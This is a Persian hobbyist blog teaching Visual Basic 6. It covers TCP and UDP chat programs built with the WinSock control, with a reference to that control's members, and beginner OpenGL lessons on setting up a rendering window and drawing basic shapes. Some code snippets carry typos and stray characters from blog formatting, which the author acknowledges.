4 – ايجاد اتصال TCP : در زمان ساخت برنامه اي که از پروتکل TCP استفاده مي کند ابتدا بايد تصميم بگيريد که اين برنامه Client است يا Server . براي ساخت يک برنامه Server بايستي روي يک پورت خاص Listen کنيد . زمانيکه Client تقاضاي يک اتصال را مي دهد ، برنامه Server مي تواند آنرا Accept کند و بنابراين اتصال کامل شده است . حال Client و Server مي توانند با هم ارتباط داشته باشند .
مراحل زير ساخت يک سرور چت ساده بر مبناي TCP را نشان مي دهد :
- از منوي Project گزينه Components را انتخاب کنيد و در ليست Component ها مورد Microsoft WinSock 6.0 را انتخاب کنيد .
- يک کنترل WinSock در فرم خود قرار دهيد و نام آنرا tcpserver بگذاريد
- دو textbox با نامهاي txtSendData و txtReceiveData و نيز يک دکمه در فرم قرار دهيد .
- کد زير را در رويداد Form_Load بنويسيد :

Tcpserver.LocalPort=1000
tcpserver.Listen


- زمانيکه درخواستي از طرف Client مي آيد رويداد ConnectionRequest اجرا مي شود . در اين رويداد ابتدا بايد چک کنيد که حالت کنترل بسته باشد . اگر چنين نيست اتصال را قبل از پذيرفتن اتصال جديد ببنديد . سپس تقاضا را بر اساس پارامتر requestID مي پذيريم :

Private Sub tcpserver_ConnectionRequest(ByVal requestID As Long)
If tcpserver.State <> sckClosed Then tcpserver.Close
tcpserver.Accept requestID
End Sub


- حال اتصال بين Client و Server برقرار شده است . کد زير را براي event مربوط به کليک دکمه Send بنويسيد :

Tcpserver.SendData txtSendData.text

- اگر داده اي از طرف Client بيايد رويداد DataArrival اجرا مي شود . کد زير را براي اين رويداد بنويسيد :

Private Sub tcpserver_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
tcpserver.GetData strData
txtReceiveData.Text = strData
End Sub


- کد زير را براي رويداد Form_Unload بنويسيد :

Tcpserver.Close

مراحل ساخت يک TCP Client بصورت زير است :
- يک کنترل WinSock در فرم قرار دهيد و نام آنرا tcpclient بگذاريد .
- دو textbox با نامهاي txtsend و txtreceive و نيز يک دکمه با نام sendدر فرم قرار دهيد .
- يک دکمه با نام connect در فرم قرار دهيد .
- کد زير را براي متد Form_Load بنويسيد :

tcpclient.RemoteHost=”yourservername”x
tcpclient.RemotePort=1000


- کد زير را براي رويداد کليک شدن دکمه connect بنويسيد :

tcpclient.Connect

- کد زير را براي رويداد کليک شدن دکمه send بنويسيد :

tctclient.SendData txtsend.Text

- کد زير را براي رويداد DataArrival بنويسيد :

Private Sub tcpclient_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
tcpclient.GetData strData
txtreceive.Text = strData
End Sub


- کد زير را باري رويداد Form_Unload بنويسيد :

Tcpclient.Close

کدهاي فوق يک سيستم Client-Server ساده را نشان مي دهد . فايل exe هر دو برنامه را بسازيد و آنها را اجرا کنيد تا بتوانيد سيستم خود را تست کنيد .
5 – پذيرفتن بيش از يک تقاضاي اتصال : Server اي که در بالا ساخته شد تنها مي تواند تقاضاي يک اتصال را بپذيرد . با استفاده از ايجاد يک آرايه از کنترل WinSock مي توان چندين تقاضاي اتصال را پذيرفت . براي اينکار کافي است يک کپي ( instance ) از کنترل بسازيم ( با تنظيم خاصيت Index ) و متد Accept را براي instance جديد بکار ببريم . فرض کنيد يک کنترل WinSock با نام sckServer در فرم داريم که خاصيت Index آنرا صفر قرار داده ايم . همچنين يک متغير intMax از نوع Long تعريف مي کنيم که تعداد اتصالات همزمان به Server را نگه مي دارد . در event مربوط به Form_Load کد زير را بنويسيد :

intMax=0
sckServer(0).LocalPort=1000
sckServer(0).Listen


هر بار که تقاضاي يک اتصال مي رسد کد ابتدا تست مي کند که مقدار Index چقدر است . اگر مقدار Index صفر باشد متغير intMax يکي افزايش مي يابد و از intMax براي ساخت يک instance جديد از کنترل استفاده مي شود . حال از اين instance براي پذيرفتن تقاضاي اتصال استفاده مي گردد . براي اينکار کد زير را براي رويداد ConnectionRequest بنويسيد :

Private Sub sckServer_ConnectionRequest(Index As Integer, ByVal requestID As Long)
If Index = 0 Then
intmax = intmax + 1
Load sckServer(intmax)x
sckServer(intmax).LocalPort = 0
sckServer(Index).Accept requestID
End If
End Sub

6 – ايجاد اتصال UDP : ساخت يک برنامه UDP ساده تر از برنامه هاي TCP است زيرا پروتکل UDP به اتصال نياز ندارد . در برنامه TCP بالا يک کنترل WinSock بايستي حتماً Listen مي کرد و يک کنترل ديگر يک اتصال را توسط متد Connect ايجاد نمود . در عوض پروتکل UDP نيازي به اتصال ندارد . براي ارسال داده بين دو کنترل WinSock سه مرحله بايستي انجام شود :
- پارامتر RemoteHost برابر نام کامپيوتر مقابل است .
- پارامتر RemotePort برابر پارامتر LocalPort کامپيوتر مقابل
- استفاده از متد Bind براي مشخص کردن LocalPort
چون هر دو کامپيوتر از نظر ارتباط مساوي هستند ، اين نوع برنامه ها را Peer-to-Peer گويند . براي نمونه از کد زير براي ساخت يک برنامه chat استفاده مي کنيم :
- يک کنترل WinSock در فرم قرار دهيد و نام آنرا udppeerA بگذاريد .
- خاصيت Protocol آنرا UDPProtocol قرار دهيد .
- دو textbox با نامهاي txtsend و txtreceive و نيز يک دکمه در فرم قرار دهيد .
- کد زير را براي متد Form_Load بنويسيد :

udppeerA.RemoteHost=”nameofpeerB”x
udppeerA.RemotePort=1001
udppeerA.Bind 1002


- کد زير را براي event مربوط به کليک دکمه بنويسيد :

udppeerA.SendData txtsend.text

- کد زير را براي رويداد DataArrival بنويسيد :

Dim strData as String
udppeerA.GetData strData
txtreceive.Text=strData


براي ساخت UDP peerB مشابه مراحل بالا عمل کنيد فقط خاصيت RemoteHost آنرا نام کامپيوتر PeerA و خاصيت RemotePort آنرا 1002 و خاصيت Bind آنرا 1001 قرار دهيد .
-------------------

بررسی خواص کنترل WinSock :
ByteReceived : مقدار داده دريافت شده ( موجود در بافر receive ) را نشان مي دهد . توسط متد GetData مي توان اين داده را دريافت نمود .
LocalHostName : نام ماشين محلي را نشان مي دهد . اين پارامتر فقط خواندني است .
LocalIP : آدرس IP ماشين محلي را بصورت يک string برمي گرداند . اين پارامتر فقط خواندني است .
LocalPort : براي خواندن و يا تنظيم شماره پورت محلي بکار مي رود .
Protocol : براي خواندن و يا تنظيم پروتوکل مورد استفاده توسط کنترل WinSock بکار مي رود .
RemoteHost : براي خواندن و يا تنظيم نام يا آدرس IP ماشين راه دور بکار مي رود .
RemoteHostIP : آدرس IP ماشين راه دور را برمي گرداند :
۱- براي برنامه هاي Client بعد از زمانيکه يک اتصال توسط متد Connect پذيرفته شد ، اين خاصيت حاوي آدرس IP ماشين راه دور است .
۲ - براي برنامه Server ، بعد از آمدن يک Connection Request اين خاصيت شامل آدرس IP ماشين راه دور است .
۳ - در زمان استفاده از پروتکل UDP بعد از اينکه رويداد Data Arrival رخ داد اين خاصيت حاوي آدرس IP ماشيني است که داده را فرستاده .
RemotePort : براي خواندن و يا تنظيم شماره پورت ماشين راه دوري که مي خواهيد به آن متصل شويد بکار مي رود .
SocketHandle : مقداري را برمي گرداند که مرتبط با سوکتي است که کنترل WinSock را مديريت مي کند و براي ارتباط با لايه WinSock بکار مي رود . اين پارامتر فقط خواندني است و تنها براي ارسال به API هاي WinSock طراحي شده است .
State : وضعيت کنترل WinSock را نشان مي دهد . وضعيتهاي ممکن براي State عبارتند از :
۱ - sckClosed : اتصال بسته است .
۲ - sckOpen : اتصال باز است .
۳ - sckListening : حالت گوش دادن به پورت
4 - sckConnectionPending : معلق شدن اتصال
۵ - sckResolvingHost : تصميم گيري در مورد ميزبان
۶ - sckHostResolved : در مورد ميزبان تصميم گيري شد .
۷ - sckConnecting : حالت برقراري ارتباط
۸ - sckConnected : ارتباط برقرار شد .
۹ - sckClosing : حالت قطع اتصال
۱۰ - sckError : حالت خطا

بررسی متدهای کنترل WinSock :
متد Accept : تنها براي برنامه هاي TCP Server بکار مي رود . اين متد براي پذيرفتن يک اتصال در زمان مديريت رويداد ConnectionRequest استفاده مي شود .
متد Bind : اين پارامتر LocalPort و LocalIP يک اتصال را مشخص مي کند .
متد Close : براي بستن يک اتصال TCP و يا بستن يک listening socket بکار مي رود .
متد GetData : بلوک جاري داده دريافت شده را گرفته و آنرا در متغيري از نوع Variant ذخيره مي کند . شکل کلي اين متد بصورت زير است :


WinSock.GetData data[,type][,maxlen]x

که data داده دريافتي است . اگر داده کافي موجود نباشد data برابر empty خواهد بود .
type نوع داده دريافتي است که مي تواند مقادير زير باشد :
vbByte - vbInteger - vbLong - vbSingle - vbDouble - vbDate - vbBoolean - vbError - vbString - vbArray+vbByte
maxlen حداکثر سايز را در زمان دريافت يک byte Array و يا يک string مشخص مي کند .
متد Getdata در رويداد Data Arrival استفاده مي شود که اين رويداد يک پارامتر با نام TotalBytes دارد . اگر maxlen اي که شما تعيين کرده ايد کمتر از TotalBytes باشد پيغام هشدار شماره ۱۰۰۴۰ دريافت مي کنيد بدين معني که بايتهاي باقيمانده گم خواهند شد .
متد Listen : يک سوکت مي سازد و آنرا در حالت Listen قرار مي دهد . اين متد تنها در اتصالات TCP بکار ميرود .
متد PeekData : مشابه GetData است با اين تفاوت که داده را از صف ورودي حذف نمي کند . اين متد تنها براي اتصالات TCP بکار مي رود .
متد SendData : براي ارسال داده به کامپيوتر راه دور بکار مي رود .
بررسي event هاي کنترل WinSock :
رويداد Close : زماني رخ مي دهد که کامپيوتر راه دور اتصال را ببندد .
رويداد Connect : بعد از اينکه يک اتصال به Server ايجاد شد روي مي دهد . شکل کلي آن بصورت زير است :


Private Sub WinSock_Connect(ErrorOccurred As Boolean)x

که پارامتر ErrorOccurred دو مقدار دارد : اگر True باشد يعني اتصال Fail شده است و اگر False باشد يعني اتصال با موفقيت انجام شده است .
با رويداد Connect مي توانيد error هايي که در زمان فرايند باز کردن اتصال برگردانده شده را چک کنيد .
رويداد ConnectionRequest : زماني رخ مي دهد که يک کامپيوتر راه دور تقاضاي يک اتصال را بدهد . اين رويداد فقط براي برنامه هاي TCP Server بکار مي رود .
رويداد DataArrival : زماني رخ مي دهد که داده جديدي بيايد .
رويداد Error : زماني رخ مي دهد که يک خطا در فرايند ارتباط رخ دهد ( مثلاً Failed to Connect و يا Failed to Send ) . شکل کلي آن بصورت زير است :


Private WinSock_Error(number as Integer,description as String,scode as Long,source as String,helpfile as String,helpcontext as Long,canceldisplay as Boolean)x


number شماره کد خطا است .
description توضيحي در مورد خطا است .
source توصيف منبع خطا
canceldisplay : مشخص مي کند آيا پيغام خطاي پيش فرض نشان داده شود يا نه
رويداد SendComplete : زماني رخ مي دهد که يک عمل Send تکميل شده باشد .
رويداد SendProgress : زماني رخ مي دهد که کنترل شروع به ارسال داده نمايد . شکل کلي آن بصورت زير است :


WinSock_SendProgress (bytesSent As Long, bytesRemaining As Long)x


که bytesSent تعداد بايتهاي ارسال شده و bytesRemaining تعداد بايتهاي باقيمانده است .

+ نوشته شده در  یکشنبه یکم اردیبهشت 1387ساعت 7:1 بعد از ظهر  توسط مسعود لپه چی  | 

با یاد خدا امروز قسمت سوم آموزش OpenGL رو برای شما عزیزان میگم.

در جلسه قبل رسم نقطه و خط رو گفتم اما امروز به بقیه ی اشیا میپردازم.

۳- bmTriangles  رسم مثلث:

برای رسم مثلث های گوناگون ( متساوی ها و قائم الزاویه ها و ...) از تابع glBegin با دادن ثابت bmTriangles میتوانیم بعد از فراخوانی سه تابع glVertex2f (که رئوس اضلاع مثلث را شامل میشوند) مثلث مورد نظر را رسم کنیم.

در مثال زیر یک مثلث با رنگ آبی در وسط فرم نمایش داده میشود.

glBegin  bmTriangles

glcolor3f  0, 0, 1

glvertex2f  0.5 , 0

glvertex2f  0 , 0.5

glvertex2f  -0.5 , 0

glEnd

شاید با تابع glColor3f آشنا نباشید. تابع glColor3f باعث میشود که رنگ مورد نظر برای اشیا را مشخص کنیم. تابع glColor#f که # در آن از ۳ تا ۴ میباشد رنگ مورد نظر را تایین میکند. در ادامه درباره این تابع بیشتر صحبت میکنم.

حتما مثال هایی که میزنم رو اجرایی کنین.


۴- bmQuads  رسم چهار ضلعی ها (از جمله لوزی / مربع / مستطیل / ذوزنقه و سایر چهار ضلعی ها):

برای رسم چهار ضلعی ها مانند رسم سایر اشیا از تابع glBegin استفاده میکنیم و مقدار Mode تابع glBegin را برابر bmQuads می کنیم. در مثال زیر یک مستطیل در نیمه ی بالایی فرم رسم میکنیم:

glBegin bmQuads

glcolor4f  0,1,0 ,0

glVertex2f  0.5 , 0

glvertex2f  0.5 , 0.5

glvertex2f  -0.5 , 0.5

glvertex2f  -0.5 , 0

glEnd

همان طور که در مثال بالا می بینید ما برای رسم مستطیل از چهار تابع glVertex2f استفاده کرده ایم. دلیل استفاده از تابع glVertex تایین رئوس اضلاع مستطیل است.


۵- bmPolygon رسم چند ضلعی:

برای رسم چند ضلعی باید بعد از فراخوانی تابع glBegin از ثابت bmPolygon استفاده کنیم . برای رسم چند ضلعی ها ما میتوانیم در داخل بلوک glBegin/glEnd به تعداد دلخواه تابع glVertex فراخوانی کنیم چرا که تعداد اضلاع به تعداد توابع glVertex بستگی دارد.

در مثال زیر یک ۶ ضلعی بارنگ قرمز رسم میکنیم.

   glBegin bmPolygon
   glColor3f 1, 0, 0
 glVertex2f 0.5, 0
   glVertex2f 0.3, 0.5
   glVertex2f -0.3, 0.5
   glVertex2f -0.5, 0
   glVertex2f -0.3, -0.5
   glVertex2f 0.3, 0.5
   glEnd

امیدوارم تا اینجا خوب یاد گرفته باشی ولی اگه احیانآ مشکلی پیش اومد بگو خجالت نکش.من خدا خدا میکنم که یه سایت یا وبلاگ به سوالات من جواب بده ولی... .


و اما رسم دایره:

شما میتونین برای رسم دایره به کمک تابع glBegin و ثابت bmPolygon دایره رسم کنین ولی تعداد خطوطی که باید کد بنویسین خیلی زیاد میشه.

Open GL برای رسم دایره از یک کتابخانه کمکی به نام glu استفاده میکنه.(نگران نباشید این کتابخانه در تمامی کامپیوتر ها وجود داره و نیازی به کپی کردن اون به کامپیوتر خودتون نیست. چه خوب)

در ادامه چگونگی رسم دایره را به شما دوستان عزیزم میگم.

برای رسم دایره دیگر نمیتوانیم از تابع glBegin استفاده کنیم زیرا تابع glBegin ثابتی ندارد که بتواند دایره رسم کند. پس:

برای رسم دایره شما ابتدا باید یک متغیر از نوع Variant تعریف کنید:

Dim Q as Variant

بعد از تعریف کردن متغیر باید اون رو برای رسم دایره آماده کنین به این صورت:

Q = gluNewQuadric

بعد باید رنگ مورد نظر خودتون رو به دایره بدین:

glColor3f  0,0,1

بعد از اون هم باید چگونگی نمایش دایره رو مشخص کنیم( این موضوع برای استفاده سه بعدی کاربرد دارد و من در جلسه بعد به توضیح این تابع میپردازم اما بد نیست که بهتر با تابع آشنا بشین.)

gluQuadricDrawStyle  Q , qdsLine

در ادامه نیز به رسم دایره میپردازیم:

gluSphere  Q , 0.5 , 20 , 20

بعد هم برنامه را اجرا میکنیم و نتیجه را می بینیم.

مثال بالا در کل به این صورت است:

Dim Q

Q = gluNewQuadric

glcolor3f 0 , 0 , 1

gluQuadricDrawStyle  Q , qdsLine

gluSphere  Q , 0.5 , 20 , 20

همین !!

اگه میخوای این مطالبو خوب یاد بگیری باید تمرین کنی. از روی نوشته کپی کردن باعث میشه که اصلا چیزی یاد نگیرین. پس سعی کنین:

۱- چهار ضلعی رسم کنین که رنگ آن قرمز باشد. سپس در وسط آن چهار ضلعی یک مثلث به رنگ آبی رسم کنین.

۲- دایره ای رسم کنین که رنگ آن سبز باشد .

امیدوارم موفق باشید.  راستی من  سه چهار روز دیگه تمرین هایی که برای شما نوشتم رو جواب میدم پس هیچ جای نگرانی نیست.

+ نوشته شده در  یکشنبه بیست و پنجم فروردین 1387ساعت 10:32 بعد از ظهر  توسط مسعود لپه چی  | 

به نام خدا

با سلام خدمت تمامی دوستان !!!

امروز درباره ساخت اشیای دو بعدی در ویژوال بیسیک و رنگ آمیزی آنها صحبت میکنیم.

ابتدا یه مروری به جلسه قبل میکنیم و همون طور که قول داده بودم کدهای جلسه اول رو براتون به صورت کلی مینویسم (اگه میخوایین این کدها رو بنویسین پیشنهاد میکنم کپی کنید.):

کدهای زیر برای ماجول OpenGLMain است:

توجه:اگر جلسه اول آموزش OpenGL رو نخوندی حتما بخونش.

کدهای زیر برای ماجول DrawShape هست:

و اما درس امروز:

ما در این جلسه تمام سروکارمون با ماجول DrawShape است و در داخل تابع DrawGLScene باید کدهای مربوط به رسم اشکال را بنویسیم.

برای رسم اشکال ما باید از تابع glBegin استفاده کنیم. تابع glBegin به OpenGL میگوید که ما آماده رسم اشکال هستیم. برای رسم اشکال بعد از فراخوانی تابع glBegin با کمک تابع glVertex و glColor ما مختصات راس های شکل مورد نظر و رنگ مورد نظر که به شکل پاشیده میشود را رسم میکنیم. در پایان نیز با تابع glEnd به OpenGL میگوییم که کار رسم کردن شکل ها به پایان رسیده است.

تابع glBegin پارامتری به نام Mode دارد که به کمک پارامتر Mode ما میتوانیم اشکال هندسی مختلفی رسم کنیم . مثل : مربع و مستطیل و مثلث و چندضلعی های دیگر.

پارامتر Mode مقادیریرا میتواند بگیرد که تعدادی از آنها در زیر آمده است:

مقادیر توضیحات                

bmPoints رسم نقاط جدا از هم
bmLines رسم خط که دو راس دارد
bmLineStrip رسم خط های به هم پیوسته
bmLineLoop رسم خط های به هم پیوسته
bmTriangles رسم مثلث با دادن سه راس
bmTriangleStrip رسم مثلث های به هم پیوسته
bmTriangleFan رسم مثلث های به هم پیوسته با یک راس مشترک
bmQuads رسم چهار ضلعی هایی که دارای یک راس مشترک هستند
bmQuadStrip رسم چهار ضلعی های به هم پیوسته
bmPolygon رسم چند ضلعی که ضلع های آن به تعداد دلخواه است
رسم دایره در جلسات بعد توضیح خواهم داد

این مقادیری که در جدول نوشتم در همین جلسه دونه دونه توضیح خواهم داد.(پس نگران نباشید.)

۱- bmPoints رسم نقطه:

برای اینکه ما بتونیم یک نقطه روی فرممون رسم کنیم باید مقدار Mode رو به bmPoints ست کنیم.

برای رسم یک نقطه در ماجول DrawShape و در تابع DrawGLScene  کدهای زیر رو بنویسید:

Publice Function DrawGLScene() as Boolean

glClear clrColorBufferBit

 

glBegin bmPoints

glVertex2f  0,0

glEnd

 

DrawGLScene = True

End Function

در مثال بالا کدهایی که کمرنگ تر هستند رو برای یادآوری نوشتم. شما دیگه لازم نیست که یک تابع جدید DrawGLScene تعریف کنید چون این کار باعث ایجاد مشکل در برنامه میشه.

در مثال بالا در خط سوم به کمک تابع glBegin به OpenGL فرمان دادیم که برایمان Point (نقطه) رسم کند. در خط چهارم نیز به کمک تابع glVertex2f (که یکی از توابع بسیار مهم OpenGL هست) مختصات نقطه ای که باید رسم شود را نوشتیم.در خط پنجم نیز به رسم نقطه پایان دادیم.

با اجرا کردن برنامه باید در وسط فرم شما یک نقطه رسم شده باشد.

شما میتوانید هرچه قدر که نقطه دوست دارین رسم کنین با تابع glBegin bmPoints / glEnd رسم کنین.

شاید شما بخواین که نقطه ای رو که رسم میکنین بزرگتر بشه و نقاطی رو رسم کنین که جای بیشتری میگیرن برای این کار از تابع glPointSize استفاده کنین.

برای مثال شما در نمونه برنامه ای که در بالا آمده شد این تابع رو اضافه کنین و مقدار اون رو به 50 ست کنین به این صورت:

glPointSize  50

با این کار نقطه شما ۵۰ برابر بزرگتر میشه.

توجه : تابع glPointSize را حتما باید قبل از تابع glBegin  bmPoints تعریف کنین.

گاهی وقت ها برای شما پیش میاد که  چرا وقتی نقطه ای رو بزرگ میکنیم دقت گرافیکی اون نقطه کم میشه و به شکل مربع در میاد برای برطرف کردن این مشکل و به عبارتی دندانه زدایی تابعی وجود دارد که از پر کاربردترین توابع openGL است.

تابع glEnable :

تابع glEnable مقادیری را میگیرد که در زیر فقط به مقدار glcPointSmooth اشاره میکنیم.

مقدار glcPointSmooth برای افزایش دقت گرافیکی اشیا و همچنین دندانه زدایی آنهاست. برای اینکه بهتر با این تابع و مقدار تابع آشنا بشین بعد از تعریف کردن تابع glPointSize در خط بعد از آن تابع glEnable را تعریف کنید. به این صورت:

glEnable  glcPointSmooth


۲- bmLines  رسم خط :

برای رسم خطوط در OpenGL از تابع glBegin و با ثابت bmLines استفاده میکنیم. در این تابع به جای اینکه یکبار تابع glVertex2f را فراخوانی کنیم باید دو تا تابع glVertex2f فراخوانی کنیم چراکه برای رسم خط به دو مختصات ( مختصات نقطه اول پاره خط و مختصات پایان رسم پاره خط) احتیاج داریم.

glBegin  bmLines

glVertex2f  -0.5 , 0

glVertex2f  0.5 , 0

glEnd

در مثال بالا با دادن دو مختصات خطی برای ما رسم میشود.

برای دندانه زدایی خطوط قبل از فراخوانی تابع glBegin تابع glEnable با  مقدار glcLineSmooth بنویسید. به صورت زیر:

glEnable  glcLineSmooth


فعلا کافیه . برای اینکه بهتر OpenGL رو یادبگیرید باید خودتون تمرین کنید برای تمرین این جلسه شما:

۱- نقطه ای رسم کنید که انداره اون ۲۵ برابر نقطه معمولی باشه و دندانه نداشته باشد.

۲- با رسم ۳ خط یک مثلث بسازین.

امیدوارم موفق باشی .

+ نوشته شده در  یکشنبه بیست و پنجم فروردین 1387ساعت 10:30 بعد از ظهر  توسط مسعود لپه چی  | 

به نام خدا

 با سلام خدمت تمام بروبچ برنامه نویسان ایران زمین.

امروز براتون یه مژده دارم و اونم اینه که امروز در مورد آموزش OpenGL در ویژوال بیسیک آموزش هایی براتون میگزارم.این آموزش جزء آموزش های حرفه ای و پیشرفته به حساب میاد.

از همین اول کار شرط میبندم که از این آموزش لذت میبرین چون با حرفه ای شدن در زمینه OpenGL میتونید برنامه هایی از قبیل برنامه های میکس و افکت گزاری روی تصاویر و ساختن بازی های سه بعدی قدرتمند انجام بدین.

حالا اونایی که در این ضمینه (یعنی کارهای سه بعدی) یه مقدار تجربه دارن این سوال برای اونها پیش بیاد که چرا OpenGl ؟

شما میدونید که DirectX هم میتواند کارهای سه بعدی انجام دهد ولی چرا OpenGL که سخت تر و وقت گیر تر است؟

خوب من به سوالات شما جواب میدم. من به این علت آموزش OpenGL رو میذارم چون :

شاید با بازی قدرتمند Doom آشنایی داشته باشید منظور من از این جمله اینه که بازی Doom با OpenGL برنامه نویسی شده.همچنین OpenGL نسبت به DirectX قدرت بیشتری داره و با سرعتی در حدود ۳ برابر DirectX کار میکنه و مقدار حافظه کمتری اشغال میکنه.

هرچند OpenGL مزایای بسیار زیادی داره ولی تعداد خطوطی که ما باید کد بنویسیم بیشتره و وقت بیشتری صرف نوشتن برنامه با OpenGL میشه.اما این ضرر OpenGL هم قابلیت رفع داره برای رفع این مشکل ما با ساختن یک موتور(Engin) گرافیکی ساده ولی قدرتمند تعداد خطوطی که باید کد بنویسیم نصف و شاید هم کمتر از نصف DirectX بشه.

خوب میریم سراغ آموزش :

به احتمال ۹۸٪ شما کتابخانه( OpenGL (vbogl.tlb رو در داخل کامپیوترتون ندارین اما من این رو از قبل پیش بینی کردم. و لینک دانلود کتابخانه OpenGL رو براتون گذاشتم.

حالا دانلود کنید ... !

 

بعد از اینکه فایل مورد نظر رو دانلود کردین ویژوال بیسیک رو باز کنین و از منوی Project گزینه Refrences رو بزننین و در پنجره باز شده دکمه فرمان Browse رو بزنین و آدرس فایل vbogl.tlb (همون فایلی که دانلود کردین) رو باز کنین و بعد از انتخاب کردن فایل vbogl.tlb روی دکمه فرمان Open کلیک کنید.

بعد در داخل کادری که لیست DLL های شناسایی شده است به دنبال VB OpenGL API 1.2 بگردین و تیک کنار اون رو فعال کنین.

باریکلا.اگه احیانا مشکلی پیش اومد(خدانکنه) در قسمت نظرات بگو.

برای اینکه کدهایی که ما مینویسیم با استفاده از روتین های OpenGL هست در داخل فرم ما نمایش داده نمیشه و ما برای اینکه کدهایی که مینویسیم اجرا بشه باید تغیراتی در برنامه ایجاد کنیم برای اینکار:در ویژوال بیسیک از منوی Project روی Project Properties کلیک کنید تا جعبه تنظیم خواص پروژه باز بشه.بعد از لیست باز شو Startup Object گزینه Sub Main را انتخاب کنید و OK را بزنید.

حالا میریم سراغ کد نویسی:

از منوی Project گزینه Add Module را بزنید تا برای شما یک ماژول جدید بسازد.بعد خاصیت Name ماجول رو برابر با OpenGLMain قرار دهید.

حالا ما کدهای اصلی که موتور گرافیکی ۳ بعدی ما رو میسازه مینویسیم.

روی ماجول جدید خود دابل کلیک کنید تا پنجره View Code باز بشه.و بعد کدهای زیر رو بنویسید:

()Sub Main

   Dim Done As Boolean
   Dim frm As Form
   Done = False
   Set frm = New Form1
   If Not CreateGLWindow(frm, 640, 480, 16) Then Done = True
  
   Do While Done = False
   If (DrawGLScene = False) Then
   Unload frm
   Else
  ( SwapBuffers (frm.hDC

   DoEvents
   End If
   Done = frm.Visible = False
   Loop
   Set frm = Nothing
   End
End Sub

در قطعه کد بالا ابتدا یک متغیر از نوع بولن تعریف میکنیم . تا وقتی که متغیر Done مقدار False داشته باشد برنامه ما ادامه پیدا میکند ولی هر گاه که متغیر Done برابر با True شود برنامه خاتمه پیدا میکند. در خط بعدی ما یک متغیر به نام frm از نوع Form تعریف میکنیم و در خط پنجم نیز متغیر frm را به فرم برنامه مرتبط میکنیم.در خط ششم نیز از یک دستور شرطی استفاده کردیم که هرگاه CreateGLWindow (که در ادامه آن را میسازیم و کار آن ساخت پنجره ای است که اشیا دو بعدی و چند بعدی ما در آن نمایش داده شوند) برابر با مقداری خلاف قوانین ما شد برنامه خاتمه پیدا کند و باعث هنگ کردن سیستم نشود. در ادامه ما باید پنجره نمایش اشیا را که نام آن CreateGLWindow است بسایم. برای این کار کدهای زیر را در ماجول بنویسید:

Public Function CreateGLWindow(frm As Form, Width As Integer, Height As Integer, Bits As Integer) As Boolean
   Dim PixelFormat As GLuint
   Dim PFD As PIXELFORMATDESCRIPTOR
  
   PFD.cColorBits = Bits
   PFD.cDepthBits = 16
   PFD.dwFlags = PFD_DRAW_TO_WINDOW Or PFD_SUPPORT_OPENGL Or PFD_DOUBLEBUFFER
   PFD.iLayerType = PFD_MAIN_PLANE
   PFD.iPixelType = PFD_TYPE_RGBA
   PFD.nSize = Len(PFD)                         'X
   PFD.nVersion = 1
   
       PixelFormat = ChoosePixelFormat(frm.hDC, PFD)                         'X
   If PixelFormat = 0 Then
   KillGLWindow
   MsgBox "Can't set the:", 16
   CreateGLWindow = False
   End If
  
   If SetPixelFormat(frm.hDC, PixelFormat, PFD) = 0 Then
   KillGLWindow
   MsgBox ""                     'X
   CreateGLWindow = False
   End If
   
  ( hrc = wglCreateContext(frm.hDC

   If hrc = 0 Then
   KillGLWindow
   MsgBox "Can't rendering Context:", vbExclamation, "ERROR

   CreateGLWindow = False
   End If
  
   If wglMakeCurrent(frm.hDC, hrc) = 0 Then
   KillGLWindow
   MsgBox "Can't Active rendering Context:", vbExclamation, "ERROR
   CreateGLWindow = False
   End If
   frm.Show
   If Not InitGL() Then
   KillGLWindow

MsgBox "Initialize Failed!",vbExclamation,"Error
   CreateGLWindow = False
   End If
  
   CreateGLWindow = True
  
  
End Function

توجه: از نوشتن کلماتی که با رنگ سبز هستند خودداری کنین چون من ویندوزم فارسی نویسی نداره و وقتی که در داخل وبلاگم انگلیسی مینویسم علامت هایی مثل (=+-/.":"/.()) و امثال اینها در جملات جا به جا میشن و موجب گمراهی شما میشن.

انشاالله سورس های آمادشون رو هم براتون میزارم تا مشکلات به ۰٪ برسه.

در داخل روتین بالا دو تابع دیگر به نام های KillGLWindow و InitGL فراخوانی شده اند که ما باید اونها رو در داخل ماجولمون بنویسیم.

کار تابع CreateGLWindow در اصل ساخت Engin (موتور) گرافیکی است و توابع دیگر مانند KillGL و InitGL کارهایی از قبیل خطا زدایی انجام میدهند بنابر این تابع CreateGLWindow مهمترین تابع برنامه ماست چون که موتور گرافیکی ما رو میسازه.

برای نوشتی تابع KillGLWindow کدهای زیر رو به ماجولتون اضافه کنین:

Public Sub KillGLWindow()                          'X
  
   If hrc Then
   If wglMakeCurrent(0, 0) = 0 Then
   MsgBox "Rilase DC and RC Failed.", vbInformation, "ShutDownError"                     'X
   End If
   If wglDeleteContext(hrc) = 0 Then
   MsgBox "Failed", vbInformation, "ERROR"                       'X
   End If
   hrc = 0
   End If
  
End Sub

خوب ما تا حالا حدود ۷۰٪ کارا رو انجام دادیم.

حالا باید تابع InitGL رو بنویسیم که کار این تابع پاک کردن صفحه نمایش و آماده سازی آن برای رسم اشکال سه بعدی است.

برای نوشتن تابع InitGL کدهای زیر رو به ماجول برنامتون اضافه کنین:

Public Function InitGL() As Boolean
   glClearColor 0.5, 0.5, 1, 0
   InitGL = True
End Function

اگه بخواهیم به صورت نگاهی به مساله توجه کنیم شما تا الآن ۹۰٪ کارارو انجام دادین.

برای ادامه کار شما باید یک ماجول دیگه با نام DrawShape بسازین . برای این کار از منوی Project روی منوی Add Module کلیک کنید و خاصیت Name ماجول جدید خود را برابر با DrawShape کنید.

حالا باید تابعی رو بنویسیم که کار رسم اشکال دو بعدی و سه بعدی رو برعهده داره.اسم این تابع DrawGLScene است که برای نوشتن آن کدهای زیر را به ماجول DrawShape اضافه کنین:

Publice Function DrawGLScene() as Boolean

glClear clrcolorbufferbit 

DrawGLScene = True

End Function

حالا برنامه ای رو که ساختین اجرا کنین اگه کارها رو درست انجام داده باشین باید رنگ پشت زمینه فرم شما آبی رنگ بشه در غیر این صورت به دنبال اشتباهی که کردین بگردین.

اگه از این آموزش خوشتون اومد یک نظر بدین

+ نوشته شده در  یکشنبه بیست و پنجم فروردین 1387ساعت 10:27 بعد از ظهر  توسط مسعود لپه چی  | 

به نام خدا

 سلام !

 

ابتدا یک پروژه جدید از نوع Standard EXE باز کنید.

